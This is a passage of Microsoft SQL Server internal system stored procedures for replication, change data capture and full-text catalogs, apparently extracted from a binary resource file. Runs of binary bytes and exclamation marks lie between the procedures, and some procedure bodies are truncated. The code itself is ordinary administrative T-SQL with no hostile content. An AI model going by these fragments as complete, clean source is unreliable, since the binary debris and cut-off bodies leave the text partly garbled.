    exec @pubidstr = sys.fn_MSguidtostr @pubid
    if @@ERROR<>0 OR @pubidstr is NULL
        return @suffix

    select @suffix = substring(@artidstr, 1, 16) + substring(@pubidstr, 1, 16)

    return @suffix
end
0 	8create procedure sys.sp_MScdc_db_ddl_event 
(
	@EventData xml
)
as
begin
	set nocount on

	declare @old_database_name sysname
		,@new_database_name sysname
		,@event_type sysname
		,@proc nvarchar(1000)
		,@retcode int
		
	-- If the table msdb.dbo.cdc_jobs doesn't exist, simply return. 
	if ([sys].[fn_cdc_jobs]() = 0)
		return 0

	select @event_type = event_instance.value('EventType[1]', 'nvarchar(100)')
		,@old_database_name = event_instance.value('DatabaseName[1]', 'sysname')
	FROM       @EventData.nodes('/EVENT_INSTANCE') as R(event_instance)

	--for alter database, all we care is if database name has changed, skip everything else
	if (@event_type = N'ALTER_DATABASE')
	begin
		--if no cdc enabled db, don't do anything
		if not exists (select * from sys.databases where is_cdc_enabled = 1)
			return 0

		if db_id(@old_database_name) is not null
			return 0
		else
		begin
			-- the only reliable way to find new database name is through our jobs
			select @new_database_name = [sys].[fn_cdc_db_name_from_job_entry](@old_database_name)
		
			-- if jobs don't exists for whatever reason, we don't really need to do any thing	
			if @new_database_name is null 
				return 0
			
			set @proc = quotename(@new_database_name) + N'.sys.sp_MScdccheck_ddladmin'
			EXEC @retcode = @proc 
			IF @@ERROR <> 0 or @retcode <> 0
			BEGIN
				return 1
			END
		end
	end

	--only sa can drop cdc-enabled database, even if there's other way to grant non-sa right to do so, 
	--ddl trigger is after effect so db is gone therefore we won't have anyway to evaluate what right you have in the dropped db.
	if (@event_type = N'DROP_DATABASE')
	begin
		--the whole purpose of hooking into DROP_DATABASE is to cleanup cdc jobs, if there is no job, no need to do anything
		if ([sys].[fn_cdc_jobs]() = 1)
		begin
				--again, if the dropped db has no job to clean, why bother
				if ([sys].[fn_cdc_job_entry](@old_database_name) = 1)
				begin
					if (isnull(is_srvrolemember('sysadmin'),0) = 0)
					begin
						raiserror(22902, 16, -1)
						return 1
					end
				end
				else 
					return 0
		end
		else
			return 0
	end
	
	-- Remove obsolete entries from msdb jobs tables. This is handled as a best effort.
	-- Failure should not cause DROP or ALTER to fail.
	exec [sys].[sp_cdc_cleanup_job_entries] @event_type, @old_database_name, @new_database_name
	
	return 0
	
end
0 8
create function [sys].[fn_cdc_jobs]()
returns bit
with execute as 'dbo'
as
begin
		
	if object_id('msdb.dbo.cdc_jobs') is null
		return 0
	return 1
	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u
2`<gZb0h޲ 78create procedure sys.sp_MSdefer_check @objname sysname, @objowner sysname = NULL
as
    set nocount on
    declare @cnstname sysname
    declare @cnstid int
    declare @objid int
    declare @enable_cmd nvarchar(4000)
    declare @disable_cmd nvarchar(4000)
    declare @quotedproc nvarchar(240)
    declare @dest nvarchar(514)
    declare @dbname sysname
    declare @proc_exists bit

    if(@objowner is not null)
        select @dest = quotename(@objowner) + N'.' + quotename(@objname)
    else
        select @dest = quotename(@objname)

    declare @retcode int
    IF @objname IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@objname', 'sp_MSdefer_check')
        RETURN (1)
    END

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
            return (1)

    select @objid = object_id(@dest)
    select @enable_cmd = N'sp_MSenable_' + convert(varchar(64), @objid)
    if exists(select name from sys.objects where name = @enable_cmd and ObjectProperty(object_id, 'IsProcedure') = 1)
        select @proc_exists = 1
    else
        select @proc_exists = 0

    select @quotedproc = quotename(@enable_cmd)
    select @enable_cmd = N'create procedure ' + @quotedproc + N' as '
    create table #proccmd (c1 int identity, c2 nvarchar(3000) collate database_default)
    insert #proccmd (c2) values (@enable_cmd)
    
    declare ms_crs_cnst cursor local static for
    select name, object_id 
    	from sys.objects 
    	where parent_object_id = @objid 
    		and OBJECTPROPERTY(object_id, 'CnstIsDisabled') = 0 
    		and OBJECTPROPERTY(object_id, 'CnstIsNotRepl') = 0
    		and (OBJECTPROPERTY(object_id, 'IsCheckCnst') = 1 
    			or OBJECTPROPERTY(object_id, 'IsForeignKey') = 1)
    union
    select name, object_id
    	from sys.triggers
    	where parent_id = @objid
        	and OBJECTPROPERTY(object_id, 'IsTrigger') = 1 
        	and OBJECTPROPERTY(object_id, 'ExecIsTriggerNotForRepl') = 0 
        	and OBJECTPROPERTY(object_id, 'ExecIsTriggerDisabled') = 0
    for read only

    open ms_crs_cnst
    fetch ms_crs_cnst into @cnstname, @cnstid
    while @@fetch_status >= 0
    begin
        if(ObjectProperty(@cnstid, 'IsTrigger') = 1)
        begin
            select @disable_cmd = N'alter table ' + @dest + N' disable trigger ' + quotename(@cnstname)
            select @enable_cmd = N'alter table ' + @dest + N' enable trigger '+quotename(@cnstname)
        end
        else
        begin
            select @disable_cmd = N'alter table ' + @dest + N' nocheck constraint ' + quotename(@cnstname)
            select @enable_cmd = N'alter table ' + @dest + N' check constraint ' + quotename(@cnstname)
        end
        insert #proccmd (c2) values (@enable_cmd)

        execute(@disable_cmd)
        fetch ms_crs_cnst into @cnstname, @cnstid
    end     --of major loop
    deallocate ms_crs_cnst
    if(@proc_exists = 1) -- don't try to recreate the proc
    begin 
        select N'exec ' + @quotedproc
        drop table #proccmd
        return 0
    end

    select @enable_cmd = N'drop proc ' + @quotedproc
    insert #proccmd (c2) values (@enable_cmd)
    select @enable_cmd = N'select c2 from #proccmd order by c1'
    select @dbname = db_name()
    exec @retcode = sys.xp_execresultset @enable_cmd, @dbname
    if @@error <> 0 or @retcode <> 0 or @quotedproc is NULL
    begin
        declare @cmd_param nvarchar(4000)
        if (@objowner is null)
            select @cmd_param = N' @objname = N''' + @objname + N''''
        else
            select @cmd_param = N' @objname = N''' + @objname + N''', @objowner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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`B<R[&0镧@ $8
create procedure sys.sp_enumfullsubscribers
(
	@publication	sysname = '%',
	@publisher		sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_enumfullsubscribers'
	
	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END

--
-- Name: sp_MSrepl_enumfullsubscribers
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public - publish check
-- Requires Certificate signature for catalog access
--
raiserror(15339,-1,-1,'sp_MSrepl_enumfullsubscribers')
0ҧ d8create procedure sys.sp_MSscript_beginproc 
(
    @publication  sysname, 
    @article      sysname, 
    @procname     sysname,
    @source_objid int        output,
    @artid int output, 
    @alter bit	-- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @cmd nvarchar(4000)
                ,@source_table sysname
                ,@owner sysname

    -- Retrieve underlying table name and replicated columns
    select @source_table = object_name(objid)
            ,@source_objid = objid
            ,@owner = schema_name(objectproperty(objid, 'SchemaId'))
            ,@artid = a.artid 
    from sysarticles a, syspublications p
    where a.name = @article and
              p.name = @publication and
              a.pubid = p.pubid            
    if @source_table IS NULL
    begin
        raiserror (20506, 16, 1,  @source_table, 'sp_MSscript_beginproc')
        return 1
    end
    --
    -- Construct proc name
    -- Create proc under the table owner account to preserve the ownership chain
    --
    select @cmd = case @alter when 0 then N'create' else N'alter' end + N' procedure '+QUOTENAME(@owner)+ N'.'+ QUOTENAME(@procname) + N' (
    		@orig_server sysname, @orig_db sysname,'
    exec sys.sp_MSflush_command @cmd output, 1
    --
    -- all done
    --
    return 0
END
0@ D8p_h 0-̲ z8--
-- Name: sp_MSissnapshotjobnamegenerated
--
-- Descriptions: This procedure checks whether a given job id corresponds to
--               a snapshot agent job with a name generated by replication. 
--               If so, a return value of zero will be returned, otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           snapshot agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_MSadd_snapshot_agent instdist.sql)
--        2) This procedure is supposed to be executed at the distributor.
--           The @publisher, @publisher_db, and @publication parameters
--           are supposed to be passed through the RPC link from the 
--           publisher. 
--        3) There are two distinct code paths for the generation of 
--           the snapshot job name, one uses the agent id, and the other
--           uses a guid via the fn_repluniquename function.        
--
-- Parameters: @publisher     sysname
--             @publisher_db  sysname
--             @publication   sysname
--             @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a snapshot job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
CREATE PROCEDURE sys.sp_MSissnapshotjobnamegenerated 
(
    @publisher     sysname,
    @publisher_db  sysname,
    @publication   sysname,
    @job_id        uniqueidentifier    
)
AS
BEGIN
    SET NOCOUNT ON

	DECLARE @retcode					int
    DECLARE @generated_job_name			nvarchar(4000)
    DECLARE @generated_job_name_length	int
    DECLARE @job_name					sysname
    DECLARE	@publisher_type				sysname
    DECLARE @loc_publisher_db			sysname

    -- First, make sure that the given job id corresponds to a job
	SELECT	@job_name = name 
	FROM	msdb.dbo.sysjobs_view
	WHERE	job_id = @job_id

    IF @job_name IS NULL
    BEGIN
        GOTO MISMATCH
    END

    -- Checks whether the specified job id corresponds to a snapshot agent
    -- job (i.e. the job contains snapshot subsystem steps)
    IF NOT EXISTS
    (
    	SELECT	* 
		FROM	msdb.dbo.sysjobsteps
		WHERE	job_id = @job_id
		  AND	UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'SNAPSHOT'
	)
    BEGIN
        GOTO MISMATCH
    END                     

	-- Get publisher type
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
														@publisher_type	= @publisher_type OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

   	-- For naming purposes, use @publisher instead of @publisher_db for HREPL
   	-- publishers that don't support publisher db notion
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
    	SELECT @loc_publisher_db = @publisher
    END
    ELSE
    BEGIN
    	SELECT @loc_publisher_db = @publisher_db
    END
    
    -- 1) Try doing a match for a generated snapshot job name based on agentid
    SELECT	@generated_job_name =	LEFT(@publisher, 28) + N'-' +
    								LEFT(@loc_publisher_db, 28) + N'-' +
    								LEFT(@publication, 28) + N'-' + N'[0-9]%'

    IF UPPER(@job_name) LIKE UPPER(@generated_job_name) 
    BEGIN
        RETURN 0
    END     

    -- 2) Try doing a match for a generated snapshot job name based on 
    -- uniqueidentifier, see fn_repluniquename
    SELECT	@generated_job_name = sys.fn_repluniquename (NULL,
    														@publisher,
    														@loc_publisher_db,
    														@publication,
    														NULL)

    SELECT @generated_job_name_length = LEN(@generated_job_name)
    
    -- Try matching the prefix of the job name
    IF UPPER(LEFT(@job_name, @generated_job_name_length)) = UPPER(@generated_job_name)
    BEGIN
        -- Checks if the tail end of the job name matches a hexadecimal guid
        IF UPPER(RIGHT(@job_name, LEN(@job_name) - @generated_job_name_length) COLLATE SQL_Latin1_General_CP1_CS_AS)
            LIKE N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        BEGIN
            RETURN 0
        END
        ELSE
        BEGIN
            GOTO MISMATCH
        END
    END

MISMATCH:
    IF @job_name IS NOT NULL
    BEGIN
        RAISERROR(21695, -1, -1, @job_name)
    END
    RETURN 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
,
	`?e<i\#$Á0ieH 8--
-- Name: sp_MSactivatelogbasedarticleobject
--
-- Description: This procedure is called by the snapshot agent to activate
--              a single logbased article object.
-- 
-- Parameter: @qualified_logbased_object_name 
--
-- Returns: 0 - succeeded 
--          1 - failed
--
-- Notes: This procedure must be called within a user transaction or it
--        will result in a no-op.
--
-- Security: Public interface, will result in no-op if called by non-db_owner
--           or non-replication agent.
-- Requires Certificate signature for catalog access
-- 
create procedure sys.sp_MSactivatelogbasedarticleobject (
    @qualified_logbased_object_name nvarchar(517)
    )
as
begin
    set nocount on

    if @@trancount < 1 return 1

    if sessionproperty('replication_agent') <> 1 return 1

    if object_id(N'dbo.syspublications', 'U') is null return 1
    
    declare @retcode int
          , @is_replicated bit
          , @object_id int
          , @error int
    set @retcode = 0
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1
    
    set @is_replicated = null
    set @object_id = object_id(@qualified_logbased_object_name)
    select @is_replicated = is_replicated
      from sys.tables
     where object_id = @object_id

    if @is_replicated is null
    begin
        select @is_replicated = is_replicated
          from sys.views
         where object_id = @object_id
    end

    if @is_replicated = 0
    begin
        exec %%Object(MultiName = @qualified_logbased_object_name).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
        set @error = @@error if @error <> 0 begin raiserror(@error, 16, -1) return 1 end
        exec %%Relation(ID = @object_id).SetReplicated(Value = 1)
        set @error = @@error if @error <> 0 begin raiserror(@error, 16, -1) return 1 end
    end
    return 0 

end
04H n8--
-- Name: sp_validate_redirected_publisher
--
-- Descriptions: Retrieve the redirected publisher for the specified 
--               publisher database pair. If the publisher is not
--               currently redirected, return NULL. 
--
--               For redirected publishers, validation checks are performed
--               to verify that the target of the redirection is a suitable
--               host for the published database. Both informational and
--               error messages may be raised.
--
--               NOTE: On error, all called stored procedures will first
--                     return the temporary linked server and then raise
--                     the error. No errors are caught here.  
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success, 1 on failure; on failure errors are raised
--
-- Security: Public procedure invoked via RPC. check caller for db_owner 
--           or in the PAL of a publication of the named pubisher check
--
create procedure sys.sp_validate_redirected_publisher
(
    @original_publisher sysname,
    @publisher_db sysname,
    @redirected_publisher sysname output
)
as
begin

   set nocount on

   declare 
        @target_server sysname,
        @publisher_linked_server sysname,
        @dbname sysname,
        @retcode int
		
   set @redirected_publisher = null
   set @target_server = null
   set @publisher_linked_server = null
   set @dbname = db_name()
   
    -- Has to be executed from a distribution database
    --
    if (sys.fn_MSrepl_isdistdb (@dbname) <> 1)
    begin
        raiserror(21874, 16, -1, 'sys.sp_validate_redirected_publisher', @dbname)
        return 1
    end	
		
    -- Verify input parameters are not NULL
    --
    if @original_publisher is null or
        @publisher_db is null
    begin
        raiserror (21875, 16, -1, 'sys.sp_validate_redirected_publisher')
        return 1
    end
    
    -- Security check
    --
    if is_member(N'db_owner') <> 1
    begin
        exec @retcode = sys.sp_MSrepl_DistDBPALAccess @original_publisher
        
        if (@retcode <> 0) or (@@error <> 0)
        begin
            raiserror (21873, 16, -1, 'sys.sp_validate_redirected_publisher')
            return 1
        end
    end
		
    -- If the publisher of the database has not been redirected
    -- return without performing any validation.
    --
    select @redirected_publisher = redirected_publisher
    from MSredirected_publishers
    where upper(original_publisher) = upper(rtrim(@original_publisher))
    and publisher_db = rtrim(@publisher_db)
		
    if @redirected_publisher is null
    begin
        return 0
    end
		
    -- Verify that the original publisher is a SQL Server publisher of this 
    -- distributor.
    --
    if not exists (
        select name from msdb.dbo.MSdistpublishers
        where upper(rtrim(@original_publisher)) = upper(name) collate database_default
        and N'MSSQLSERVER' = upper(publisher_type)) 
    begin
        raiserror (21876, 16, -1, @@servername, @original_publisher, @publisher_db)
        return 1 
    end
    
    -- Verify that there is a sysservers entry for the original publisher 
    -- at the distributor.
    --
    if not exists (
	    select srvid
	    from master..sysservers
	    where upper(srvname) collate database_default = upper(rtrim(@original_publisher)))
	begin
		raiserror (21877, 16, -1, @original_publisher, @publisher_db)
		return 1 
	end
				
    -- Create a linked server to connect to the target of redirection.
    --
    exec @retcode = sys.sp_hadr_create_linked_server @original_publisher, @publisher_db,
        @redirected_publisher, @publisher_linked_server output
    if @retcode <> 0
        return 1    

    -- Get the name of the target host
    --    
    exec @retcode = sys.sp_hadr_get_target_server @original_publisher, @publisher_db,
        @redirected_publisher, @publisher_linked_server, @target_server output
    if @retcode <> 0
        return 1    
		
    -- Verify that the redirected publisher is configured for replication
    --
    exec @retcode = sys.sp_hadr_verify_configured_for_repl @target_server, @publisher_db,
        @publisher_linked_server
    if @retcode <> 0
        return 1    
    
    -- Verify that the original publisher and redirected publisher both share the same
    -- distributor 
    --
    exec @retcode = sys.sp_hadr_verify_publisher_at_distributor @target_server, @publisher_db,
        @publisher_linked_server
    if @retcode <> 0
        return 1
        
    -- Verify that the redirected publisher is a replication publisher
    --
    exec @retcode = sys.sp_hadr_verify_replication_publisher @target_server, @publisher_db,
        @publisher_linked_server
    if @retcode <> 0
        return 1          
                
    -- Verify that the published database subscribers of the original publisher are remote
    -- servers of the redirected publisher 
    --
    exec @retcode = sys.sp_hadr_verify_subscribers_at_publisher @original_publisher, @target_server, 
        @publisher_db, @publisher_linked_server
    if @retcode <> 0
        return 1 
    
    -- Drop the temporary linked server without raising an error
    --
    exec sys.sp_hadr_drop_linked_server @publisher_linked_server
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%`<]K0g H8create procedure sys.sp_help_fulltext_catalogs_cursor
	@cursor_return CURSOR VARYING OUTPUT,
	@fulltext_catalog_name		sysname = NULL		-- full-text catalog name
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	-- CATALOG MUST EXIST IF SPECIFIED --
	if @fulltext_catalog_name is not null
	begin
		declare @ftcatid smallint
		select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @fulltext_catalog_name
		if @ftcatid is null
		begin
			declare @curdbname sysname
			declare @curdbnamelen int
			select @curdbname = db_name()
			select @curdbnamelen = LEN(@curdbname)
			raiserror(7641,-1,-1,@fulltext_catalog_name, @curdbnamelen, @curdbname)
			return 1
		end
	end

	-- SELECT ANY ROWS THAT MEET THE CRITERIA --
	set @cursor_return =	CURSOR LOCAL SCROLL STATIC FOR
	select CAT.fulltext_catalog_id as ftcatid,
	       CAT.name as NAME,
		   isnull(sysfs.physical_name, CAT.path) as PATH,
		   FullTextCatalogProperty(CAT.name, 'PopulateStatus') AS STATUS ,
		   (select COUNT(*)
			  from sys.fulltext_indexes
			  where fulltext_catalog_id = CAT.fulltext_catalog_id
		   ) as NUMBER_FULLTEXT_TABLES
	from sys.fulltext_catalogs as CAT left outer join sys.database_files as sysfs on (sysfs.file_id = CAT.file_id)
	where ( @fulltext_catalog_name is null or CAT.name = @fulltext_catalog_name )
	order by fulltext_catalog_id

	open @cursor_return

	-- SUCCESS --
	return 0	-- sp_help_fulltext_catalogs_cursor
05J ;8create procedure sys.sp_MSsetup_publication_for_partition_groups (@pubid uniqueidentifier) as
begin
    declare @article_name sysname, @article_nickname int, @retcode int, @pubname sysname,
            @expand_proc sysname, @cmd nvarchar(max), @dbname sysname,    @guidstr nvarchar(32), 
            @artid uniqueidentifier, @art_index int, @article_level int, @progress int

    declare @articles table (indexcol int identity NOT NULL, art_nick int NOT NULL, artid uniqueidentifier, article_level int NOT NULL)

    select @dbname = db_name()

    select @pubname = name from dbo.sysmergepublications where pubid = @pubid
    
    --remake the publication views
    --exec @retcode = sys.sp_MSpublicationview @pubname, 1
    --if @@error <> 0 or @retcode <> 0
    --begin
    --    return 1
    --end 
    
    set @progress       = 1
    set @article_level  = 0
    
    -- We need to generate expand procs in reverse order of parent-child relationships, i.e. child first, then
    -- parent. This is because a child needn't know of the existence of parent's expand proc to do its expansion,
    -- but the parent needs to know of the child's expand proc to do its expansion.    
    while @progress > 0
    BEGIN
        /*
        ** Select articles that have either a boolean_filter or at least one join filter 
        ** into a temp table in an optimized order.
        */
        -- This inserts into @articles the article levels of all articles.
        insert into @articles(art_nick, artid, article_level) select nickname, artid, @article_level from dbo.sysmergearticles 
            where pubid=@pubid and nickname not in (select art_nick from @articles)
                and nickname not in 
                (select  art_nickname from dbo.sysmergesubsetfilters
                    where pubid=@pubid and join_nickname not in 
                        (select art_nick from @articles))

        set @progress = @@rowcount
        select @article_level = @article_level + 1
    END

    select @art_index = max(indexcol) from @articles

    while (@art_index is not null)
    begin
        select @article_nickname = art_nick, @artid = artid, @article_level = article_level from @articles
                where indexcol = @art_index
                
        set @guidstr = NULL
        set @expand_proc = NULL

        exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
        if @retcode<>0 or @@ERROR<>0 
            return (1)

        exec @retcode = sp_MSgenerate_articlechangemembershipevaluation_proc @pubid, @article_nickname
        if @@error <> 0 or @retcode <> 0
        begin
            return 1
        end 

        if exists (select * from dbo.sysmergepartitioninfo where partition_view_id is not null and artid = @artid)
        begin
            select top 1 @expand_proc = expand_proc from dbo.sysmergepartitioninfo
            where artid = @artid
            and expand_proc is not null

            if @expand_proc is not null
            begin
                select @cmd = 'if object_id(''dbo.' + replace(quotename(@expand_proc), '''', '''''') + ''') is not null drop procedure dbo.' + quotename(@expand_proc)
                exec (@cmd)
                if @@error <> 0
                    return 1
            end
            else
            begin
                select @expand_proc = 'MSmerge_expand_sp_' + @guidstr
            end

            if exists (select * from dbo.sysmergesubsetfilters where join_nickname = @article_nickname and (filter_type & 1) = 1)
            begin
                select @cmd = 'exec sp_MSgenerateexpandproc ' + convert(nvarchar, @article_nickname) + ', ' + quotename(@expand_proc) 
                exec @retcode = sys.xp_execresultset @cmd, @dbname
                if @@ERROR<>0 OR @retcode<>0 
                begin
                    return (1)
                end
                
                exec dbo.sp_MS_marksystemobject @expand_proc
               
			   	select @cmd = 'grant execute on dbo.' + quotename(@expand_proc) + ' to public'
                exec (@cmd)

                update dbo.sysmergepartitioninfo set expand_proc = @expand_proc 
                where artid = @artid
            end
        end        
           
        select @art_index = max(indexcol) from @articles where indexcol < @art_index
    end

    /*
    exec @retcode = sys.sp_MSregenerate_mergetriggers @pubname
    if @@ERROR<>0 OR @retcode<>0 
    begin
        return (1)
    end 
    
    select @art_index = min(indexcol) from @articles

    while (@art_index is not null)
    begin
        select @artid = artid from @articles where indexcol = @art_index
    
        exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
        if @@ERROR<>0 OR @retcode<>0 
        begin
            return (1)
        end 
        
        select @art_index = min(indexcol) from @articles where indexcol > @art_index
    end
    */
    
    exec @retcode = sys.sp_MSevaluate_change_membership_for_all_articles_in_pubid @pubid=@pubid
    if @@ERROR<>0 OR @retcode<>0 
    begin
        return (1)
    end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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5G.`<^rĖ0o 8create procedure sys.sp_MSrepl_posttracertoken
(
	@publication 		sysname,
	@tracer_token_id 	int output,
	@publisher 			sysname,
	@publisher_type 	sysname
)
as
begin
	set nocount on

	declare @retcode 				int,
			@newid					uniqueidentifier,
			@rpc_cmd				nvarchar(4000),
			@distributor 			sysname,
			@distribution_db		sysname,
			@publisher_db			sysname,
			@publication_id			int,
			@publication_type		int,
			@article_id				int,
			@tracer_str				nvarchar(32),
			@subscribers_found		bit,
			@INACTIVE				int,
			@ACTIVE					int,
			@SNAPSHOT_PUB			int,
			@TRACER_CMD_TYPE		int

	select @retcode 				= 0,
			@rpc_cmd				= null,
			@distributor 			= null,
			@distribution_db		= null,
			@publisher_db			= db_name(),
			@publication_id			= null,
			@publication_type		= @SNAPSHOT_PUB,
			@article_id				= null,
			@tracer_token_id 		= null,
			@subscribers_found		= 0,
			@INACTIVE				= 0,
			@ACTIVE					= 1,
			@SNAPSHOT_PUB			= 1,
			@TRACER_CMD_TYPE		= 47
			
	-- security check
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end	
	
	-- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
	begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- check publication name
	if @publication is null
    begin
		-- "The parameter @publication cannot be NULL."
        raiserror (14043, 16, -1, @publication, 'sp_MSrepl_posttracertoken')
        return 1
    end
	
	-- validate publication settings
	select @publication_id = pubid, 
			@publication_type = repl_freq
		from syspublications 
		where name = @publication

	if @publication_id is null
	begin
		-- "The publication '@publication' does not exist."
		raiserror (20026, 16, -1, @publication)
		return 1
	end
	
	if @publication_type = @SNAPSHOT_PUB
	begin	
		-- "Tracer tokens can not be posted for a snapshot publication."
		raiserror(21485, 16, -1)
		return 1
	end
	
	-- check for an article id
	select @article_id	= min(artid) from sysextendedarticlesview where pubid = @publication_id
	if @article_id is null
	begin
		-- "There are no articles for publication '@publication'."
		raiserror (14009, 16, -1, @publication)
		return 1
	end

	-- if SQL Server publisher, set @publisher to publishingservername()
	if @publisher IS NULL
	begin
		SET @publisher = publishingservername()
	end

	-- retrieve this publishers distributor and distribution DB info 
    exec @retcode = sys.sp_MSrepl_getdistributorinfo @publisher		= @publisher,
													@rpcsrvname		= @distributor output,
													@distribdb		= @distribution_db output
    if @@error <> 0 or @retcode <> 0 or @distributor is null
	begin
		-- "Could not find the Distributor or the distribution database for the local server. The Distributor may not be installed, or the local server may not be configured as a Publisher at the Distributor."
		raiserror (14071, 16, -1)
		return 1
    end

    begin transaction tr_sp_posttracertoken
	save transaction tr_sp_posttracertoken

	-- log tracer token stat information at the distributor
	select @rpc_cmd = quotename(@distributor) 
						+ N'.' + quotename(@distribution_db) 
						+ N'.sys.sp_MSadd_tracer_token'
	
	exec @retcode = @rpc_cmd @publisher				= @publisher,
								@publisher_db		= @publisher_db,
								@publication		= @publication,
								@tracer_id 			= @tracer_token_id output,
								@subscribers_found	= @subscribers_found output
	if @@error <> 0 or @retcode <> 0
	begin
		-- "An error occured while logging the tracer token history information. The tracer token could not be posted."
		raiserror (21486, 16, -1)
		goto FAILURE
	end

	-- if no active subscribers found then report the error and exit
	if @subscribers_found = 0
	begin
